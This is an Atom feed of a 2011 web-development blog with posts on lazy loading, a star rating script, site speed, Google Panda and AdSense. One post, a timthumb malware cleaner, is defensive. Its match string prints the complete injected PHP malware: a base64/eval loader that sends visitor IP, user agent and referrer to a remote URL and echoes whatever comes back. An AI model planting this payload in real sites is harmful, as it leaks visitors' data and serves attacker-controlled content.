<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-19793524</id><updated>2012-01-21T12:11:56.906-08:00</updated><category term='seo'/><category term='acne'/><category term='windows'/><category term='antispyware'/><category term='webdesign'/><category term='garden'/><category term='php lessons'/><category term='fitness'/><category term='scripts'/><category term='do it yourself'/><title type='text'>Nevyan's kingdom</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default?start-index=101&amp;max-results=100'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>136</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-19793524.post-7142247898322092878</id><published>2011-11-26T00:19:00.001-08:00</published><updated>2011-11-26T00:40:15.347-08:00</updated><title type='text'>Load Facebook like, Google+ social buttons on mouse over</title><content type='html'>This technique will speed up your web page loading times. The action performed is simple: do not load or render resources (i.e. external javascript files) until the user places the mouse over them. But do mimic their appearance via simple images. When the user hovers the social media buttons the temporary images get hidden and replaced by their relevant counterparts(i.e. scripts from Google, Facebook, LinkedIn etc.).&lt;br /&gt;&lt;br /&gt;Here is more info on the subject: http://www.rustybrick.com/javascript-hover-effects-to-speed-up-page-load-time.html&lt;br /&gt;&lt;br /&gt;You can &lt;a href="http://tools.royalsbg.com/test_social.html"&gt;test the hover loading&lt;/a&gt; and the simple working JavaScript code is placed below:&lt;br /&gt;&lt;pre class="brush: jscript"&gt;$('.sharebox').mouseenter(function () {&lt;br /&gt;    if (load_count() == 1) {&lt;br /&gt;        $(".tmp_img").remove();&lt;br /&gt;&lt;br /&gt;        $.getScript("https://apis.google.com/js/plusone.js");&lt;br /&gt;        $.getScript("//connect.facebook.net/bg_BG/all.js#xfbml=1", function () {&lt;br /&gt;            FB.init({&lt;br /&gt;                status: true,&lt;br /&gt;                cookie: true,&lt;br /&gt;                xfbml: true&lt;br /&gt;            });&lt;br /&gt;        }); &lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;function load_count() {&lt;br /&gt;    return &lt;br /&gt;    load_count.count = ++load_count.count || 1&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;For avoiding pre-loading everytime the .js libraries, I'm using a static variable as a counter.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S. These are just sample images. Please use/create placeholder images of your taste.&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7142247898322092878?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7142247898322092878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7142247898322092878' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7142247898322092878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7142247898322092878'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/11/load-facebook-like-google-social.html' title='Load Facebook like, Google+ social buttons on mouse over'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-9186271354679266807</id><published>2011-10-14T09:45:00.000-07:00</published><updated>2011-10-14T09:59:07.119-07:00</updated><title type='text'>Timthumb.php exploit cleaner</title><content type='html'>Alright, after having 1 rough day cleaning about 300+ leftovers of the newest version of timthumb.php malware here is some working .php code(the actual exploit cleaner).You can use it to check your whole web server for the vulnerability and clean the things up:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usage: just save and run the file from the root directory of your domain.&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?&lt;br /&gt;$path[] = '../*';&lt;br /&gt;while(count($path) != 0)&lt;br /&gt;{&lt;br /&gt;    $v = array_shift($path);&lt;br /&gt;    foreach(glob($v) as $item)&lt;br /&gt;    {&lt;br /&gt;        if (is_dir($item))&lt;br /&gt;        $path[] = $item . '/*';&lt;br /&gt;        elseif (is_file($item))&lt;br /&gt;        {&lt;br /&gt;            if (preg_match('/index.php/is', $item)) {&lt;br /&gt;                echo "processing $item - last modified at: " . date ("F d Y H:i:s.", filemtime($item));&lt;br /&gt;                disinfect($item);&lt;br /&gt;                echo "&amp;lt;br /&amp;gt; ";&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;function restore_hsc($val){&lt;br /&gt;    $val = str_replace('&amp;amp;amp;', '&amp;amp;', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;ouml;', '?', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;auml;', '?', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;uuml;', '?', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;lt;', '&amp;lt;', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;gt;', '&amp;gt;', $val);&lt;br /&gt;    $val = str_replace('&amp;amp;quot;', '"', $val);&lt;br /&gt;    return $val;&lt;br /&gt;}&lt;br /&gt;function disinfect($filename) {&lt;br /&gt;    $pattern='&amp;lt;?php $_F=__FILE__;$_X=\'Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));$ua = urlencode(strtolower($_SERVER[\'HTTP_USER_AGENT\']));$ip = $_SERVER[\'REMOTE_ADDR\'];$host = $_SERVER[\'HTTP_HOST\'];$uri = urlencode($_SERVER[\'REQUEST_URI\']);$ref = urlencode($_SERVER[\'HTTP_REFERER\']);$url = $url.\'?ip=\'.$ip.\'&amp;amp;host=\'.$host.\'&amp;amp;uri=\'.$uri.\'&amp;amp;ua=\'.$ua.\'&amp;amp;ref=\'.$ref; $tmp = file_get_contents($url); echo $tmp; ?&amp;gt;';&lt;br /&gt;    $pattern=trim(htmlspecialchars($pattern)); //prepare pattern&lt;br /&gt;    $lines = file($filename);&lt;br /&gt;    $found=0;&lt;br /&gt;    for ($i=0; $i&amp;lt;sizeof($lines); $i++) {&lt;br /&gt;        $current_line=trim(htmlspecialchars($lines[$i]));&lt;br /&gt;        if(strstr($current_line, $pattern)) {&lt;br /&gt;            $lines[$i]=str_replace($pattern, "", htmlspecialchars(trim($lines[$i])));&lt;br /&gt;            $lines[$i]= preg_replace('/\s\s+/', ' ', $lines[$i]);&lt;br /&gt;            $lines[$i]=restore_hsc($lines[$i]);&lt;br /&gt;            $found++;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    $lines = array_values($lines);&lt;br /&gt;    if ($found &amp;gt;0) {&lt;br /&gt;        $file = fopen($filename, "w");&lt;br /&gt;        fwrite($file, implode("\n",$lines));&lt;br /&gt;        fclose($file);&lt;br /&gt;        echo " &amp;lt;span style=\"color:red;\" is infected. Cured: $found injected objects&amp;lt;/span&amp;gt; &amp;lt;br /&amp;gt;";&lt;br /&gt;    }&lt;br /&gt;    else {echo "clean &amp;lt;br /&amp;gt; ";}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;P.S. don't forget to share if the script has helped you:)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-9186271354679266807?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/9186271354679266807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=9186271354679266807' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9186271354679266807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9186271354679266807'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/10/timthumbphp-exploit-cleaner.html' title='Timthumb.php exploit cleaner'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-49538472135806300</id><published>2011-10-02T01:26:00.000-07:00</published><updated>2011-11-08T10:00:46.426-08:00</updated><title type='text'>JQuery star rating script</title><content type='html'>&lt;br /&gt;&lt;div style="margin-bottom: 1em; margin-right: 1em;"&gt;&lt;iframe width="555" height="300" src="http://tools.royalsbg.com/star_rating/star_show.php"&gt;&lt;/iframe&gt;&lt;/div&gt;Hello,after several months of development here is a new version of the &lt;a href="http://nevyan.blogspot.com/2008/08/ajax-php-star-rating-system-script.html"&gt;&lt;i&gt;star rating script&lt;/i&gt;&lt;/a&gt;, now supporting &lt;b&gt;multiple ratings&lt;/b&gt; (for products, images etc..) .It has been rewritten from scratch, now based on the jquery javascript library.&lt;br /&gt;You can give it a try here: &lt;a class="demo" href="http://tools.royalsbg.com/star_rating/star_show.php"&gt;DEMO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;form action="https://www.paypal.com/cgi-bin/webscr" method="post"&gt;&lt;input name="cmd" type="hidden" value="_s-xclick" /&gt;&lt;input name="hosted_button_id" type="hidden" value="G2SL7Y2RBS5YW" /&gt;&lt;input alt="PayPal — The safer, easier way to pay online." border="0" name="submit" src="https://www.paypal.com/en_GB/i/btn/btn_buynow_LG.gif" type="image" /&gt;&lt;img alt="" border="0" height="1" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" /&gt;&lt;/form&gt;&lt;hr /&gt;&lt;b&gt;Usage&lt;/b&gt;:&lt;br /&gt;1. Just have a blank &amp;lt;div&amp;gt; tag with an id of the product that you want: like for example: &amp;lt;div id="123"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;and the script will automatically build star rating for your product based on the provided id.&lt;br /&gt;2. Initialize the script for ids that you only want to have rating:&lt;br /&gt;&lt;pre id="line1"&gt;stars.init("123","7","9","6ghgh");&lt;/pre&gt;3. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Sample setup&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html" id="line1"&gt;&amp;lt;script src="jquery.min.js"&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;&amp;lt;script src="/star_rating/star_rating.js"&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="1"&amp;gt;Vote now&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="7"&amp;gt;Here you go&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="6ghgh"&amp;gt;Your choice&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="9"&amp;gt;How are you?&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt;$(function()&amp;nbsp;&lt;br /&gt;{&lt;br /&gt;stars.init("1","7","9","6ghgh");&lt;br /&gt;}&lt;br /&gt;);&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pro's&lt;/b&gt;:&lt;br /&gt;- limited database requests - saving precious db server usage!&lt;br /&gt;- responsive script using tiny JSON notation packets&lt;br /&gt;- fastest star generation &amp;amp; navigation using CSS only styles&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-49538472135806300?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/49538472135806300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=49538472135806300' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/49538472135806300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/49538472135806300'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/10/jquery-star-rating-sript.html' title='JQuery star rating script'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4632180313952738908</id><published>2011-09-24T01:45:00.000-07:00</published><updated>2011-09-24T01:50:46.399-07:00</updated><title type='text'>How to speed up a website</title><content type='html'>According to Google the speed metric officially affects SERPS so the longer your page loading time is the lower its position in the index will be. Here are some techniques addressing this issue that will help you to optimize your website further.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img alt="page load time" border="0" height="138" width="400" src="http://2.bp.blogspot.com/-_BvQYHwGqbs/Tn2YXhycOUI/AAAAAAAAAjs/97ptlq1buw4/s400/page_load_time.png" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;1. Lazy load all of your external javascripts i.e. load them after body onload event is being fired.&lt;/b&gt;This way the user will first see the whole webpage rendered only later for the advanced functionality provided by the JavaScript to be added.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;If you've been using jquery to accomplish lazy loading you must know that there's a difference between $(window).load() and $(document).ready() events.&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;$(Document).ready() &lt;/b&gt;state gets achieved right after the DOM is ready to be manipulated, whereas &lt;b&gt;$(Window).load() &lt;/b&gt;is different kind of event - it will fire only after all the images/iframes are loaded.&lt;br /&gt;So window.load() becomes the crucial place for loading your external .js files.&lt;br /&gt;&lt;br /&gt;In the following example right after the completion of window.onload load 2 external javascript files that depend on each other and use the provided new functionality only when the second one loads successfully:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: jscript"&gt;$(window).load(function () {  /* catch window.onload and load the following scripts after... */&lt;br /&gt;&lt;br /&gt;$.getScript('http://example.com/script1.js', function () {&lt;br /&gt;$.getScript('http://example.com/script2.js', function () {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//now run some functions&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}); //end of 2nd getscript&lt;br /&gt;}); //end of 1st getscript&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}); //end of $(window).load&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Optionally you can use setTimeout to delay execution of some scripts here is an example of loading google plus button:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php" id="line1185"&gt;setTimeout(function () {&lt;br /&gt;$.getScript('http://apis.google.com/js/plusone.js');&lt;br /&gt;},500);&lt;/pre&gt;&lt;br /&gt;2. &lt;b&gt;Minimize blockages such as loading of multiple resources downloads at once&lt;/b&gt; like images mixed with youtube videos, etc. which will block the whole webpage rendering.&lt;br /&gt;How? -&amp;nbsp; There's a wonderful plugin called image lazy load, but it won't work correctly on every other browser(some images will be loaded even though we are preventing them)  so here is an alternative:&lt;br /&gt;You'll just have to rename all your image attributes from src to orig.&amp;nbsp; &lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;code class="plain"&gt;&amp;lt;&lt;/code&gt;&lt;code class="keyword"&gt;img&lt;/code&gt; &lt;code class="color1"&gt;src&lt;/code&gt;&lt;code class="plain"&gt;=&lt;/code&gt;&lt;code class="string"&gt;"1x1_img.png"&lt;/code&gt; &lt;code class="color1"&gt;orig&lt;/code&gt;&lt;code class="plain"&gt;=&lt;/code&gt;&lt;code class="string"&gt;"your_image.jpg"&lt;/code&gt;&lt;code class="color1"&gt;&lt;/code&gt;&lt;code class="string"&gt;&lt;/code&gt; &lt;code class="plain"&gt;/&amp;gt;&lt;/code&gt;&lt;/div&gt;Then use the following .js code that swaps all the src with orig attributes thus loading you images whenever you want (probably after $windows.load() ).&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;$("img").each(function () {&lt;br /&gt;$(this).attr("src", $(this).attr("orig"));&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;or just go and &lt;a href="http://www.appelsiini.net/2009/12/tuning-lazy-loader"&gt;fine-tune the lazy loader&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. &lt;b&gt;Watch the changes&lt;/b&gt; on your new google analytics page-speed tab!Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4632180313952738908?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4632180313952738908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4632180313952738908' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4632180313952738908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4632180313952738908'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/09/how-to-speed-up-website.html' title='How to speed up a website'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-_BvQYHwGqbs/Tn2YXhycOUI/AAAAAAAAAjs/97ptlq1buw4/s72-c/page_load_time.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2551305295308428490</id><published>2011-04-30T22:52:00.001-07:00</published><updated>2011-07-04T23:08:18.062-07:00</updated><title type='text'>Google Panda / Farmer update notes</title><content type='html'>&lt;div class="comment_inner"&gt;Hello, as you may know there is an ongoing Google algorithmic update, called panda / farmer update, aimed at filtering out thin / made for Adsense / copied content from its search index.&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;/div&gt;&lt;div class="comment_inner"&gt;This way such websites will be pushed down in SERPS, to be replaced by author content websites useful to the visitors.&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="comment_inner"&gt;The actual filter is an automatic semantic algorithm triggered by various factors in order to classify a content as useful or not. The triggering factors remain secret but, as you may already know, if you serve mixed: quality and bad content, your quality content positions will be impaired.&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="comment_inner"&gt;Apart from that other affecting factors are: &lt;br /&gt;- google chrome browser addon, which allows blocking of non-quality sites from the surfer.&lt;br /&gt;- new blocking site options provided by google search.&lt;br /&gt;- social sharing: but not the actual number of likes, but the links that your website gets as a result of facebook like/ retweet.&lt;br /&gt;&lt;br /&gt;Here is sample &lt;b&gt;&lt;a href="http://img.labnol.org/files/google_farmer_update.pdf" target="_blank"&gt;scheme&lt;/a&gt;&lt;/b&gt; from the affected websites and their traffic impact - somewhere between 70-90%.(note that the company providing the results is measuring particular set of words, and not the whole long tail traffic of the mentioned websites)&lt;br /&gt;&lt;br /&gt;&lt;img src="http://seo-hacker.com/wp-content/uploads/2011/03/google-panda-update.png" /&gt; &lt;/div&gt;&lt;div class="comment_inner"&gt;Google employees said that as a lack of satisfaction they count, when a user clicks the back button right when he/she's visited some page returning to search results in order to find another website. So here are some thinks that you can do in order to prepare your website for this update:&lt;br /&gt;&lt;br /&gt;1. Calculate the thin or not-quality content and use the noindex meta tag. Example your 2nd level category pages containing only links and no actual content. Delete all the copied content, return  header status 404 not-found and place a line in robots.txt.&lt;br /&gt;&lt;br /&gt;2. Reduce the number of adsense ads/additional page elements which are appearing before your actual content.(above fold), or make sure that they're flowing the content:&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;/div&gt;&lt;table border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center" colspan="2" width="630"&gt;&lt;b&gt;Site layouts that highlight content&lt;/b&gt;&lt;/td&gt; &lt;td align="center" width="315"&gt;&lt;b&gt;Site layout that pushes content below the fold&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td align="center" width="315"&gt;&lt;img height="346" src="https://www.google.com/adsense/static/en_US/images/foldex1.jpg" width="290" /&gt;&lt;/td&gt; &lt;td align="center" width="315"&gt;&lt;img height="346" src="https://www.google.com/adsense/static/en_US/images/foldex2.jpg" width="290" /&gt;&lt;/td&gt; &lt;td align="center" width="315"&gt;&lt;img height="346" src="https://www.google.com/adsense/static/en_US/images/belowthefold.jpg" width="290" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="comment_inner"&gt;&lt;br /&gt;3. Use google analytics to find webpages, with lowest time on page, and use 1) to restrict them.&lt;br /&gt;&lt;br /&gt;4. By default use meta noindex to all new pages until, they gain/have some quality content.&lt;/div&gt;&lt;div class="comment_inner"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="comment_inner"&gt;5. Don't use white text on black background.&lt;/div&gt;&lt;br /&gt;6. Ensure maximum user time on page.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2551305295308428490?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2551305295308428490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2551305295308428490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2551305295308428490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2551305295308428490'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/04/google-panda-farmer-update-notes.html' title='Google Panda / Farmer update notes'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1518593249676486288</id><published>2011-03-03T01:14:00.000-08:00</published><updated>2011-08-17T01:31:04.494-07:00</updated><title type='text'>Improving Adsense eCPM / RPM</title><content type='html'>Hello, in this post I'll show you some methods that I'm using in order to produce an increase in adsense earnings by improving the eCPM ( RPM ) parameter. By definition RPM is ' the amount of revenue you can expect to earn from AdSense for every 1000 impressions shown on your site ' which is something totally different from how much 1000 impressions on your site actually cost!&lt;br /&gt;&lt;br /&gt;And as you can see from this video:&lt;br /&gt;&lt;iframe width="560" height="349" src="http://www.youtube.com/embed/5XHtelRoJHM" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;in order to have high eCPM you'll have to ensure &lt;b&gt;unique visitors&lt;/b&gt; are clicking on your ads.&lt;br /&gt;&lt;br /&gt;But first lets see how to recognize some of the actions that "repeated" users (or our direct traffic hits) perform. They usually:&lt;br /&gt;-&amp;nbsp; type the URL in the browser / open a new tab or access the url from bookmarks.&lt;br /&gt;-&amp;nbsp; come from links found in email / newsletter, Word or PDF files.&lt;br /&gt;-&amp;nbsp; come from redirects (301 header redirect, javascript or meta refresh tags)&lt;br /&gt;&lt;br /&gt;As you may've seen in the video above there's an inverse connection between your eCPM value and the traffic you have. In other words: receiving more mixed(not unique) traffic in effect will only lower your eCPM.&lt;br /&gt;And here is a sample screenshot from google analytics confirming that about 95% of one site's earings came exactly from &lt;b&gt;search traffic&lt;/b&gt;: &lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" src="https://lh3.googleusercontent.com/-md-8_tVToK8/TW9VJBOTk3I/AAAAAAAAAgY/WqVLKWtDKO0/s1600/adsense_traffic.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;search vs direct traffic revenue&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Filtering direct hits&lt;/b&gt;&lt;br /&gt;So as you can see our first priority becomes not the obvious one to get more traffic in order to display more ads, but to display relevant ads to our organic public segment only ( i.e. users comming from search engine queries) . This way we'll be displaying less ads, but the eventual incomming clicks are going be much more valuable.&lt;br /&gt;&lt;br /&gt;Here is simple php script that will filter out most of the direct hits and display advertisement only to users comming from google:&lt;br /&gt;Assuming that your adsense code is placed in the variable $ads; &lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?if (strstr($_SERVER['HTTP_REFERER'], "google")) { echo $ads; }&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;or the more generic one: displaying ads on the referral only traffic by filtering out hits generated from your own domain:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?&lt;br /&gt;$referer = parse_url($_SERVER['HTTP_REFERER']);&lt;br /&gt;$my_domain = parse_url($_SERVER['HTTP_HOST']);&lt;br /&gt;if (!strstr($referer['host'], $my_domain['host'])) {echo $ads; }&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Increasing bounce rate&lt;/b&gt;&lt;br /&gt;I know that this may sound very frustrating like everyone out there is suggesting just the opposite, but after watching the video you may start thinking about it.&lt;br /&gt;&lt;br /&gt;That's it, don't forget to write unique content and I hope this post helps you actually increase your earnings!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1518593249676486288?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1518593249676486288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1518593249676486288' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1518593249676486288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1518593249676486288'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/03/improving-adsense-ecpm-rpm.html' title='Improving Adsense eCPM / RPM'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 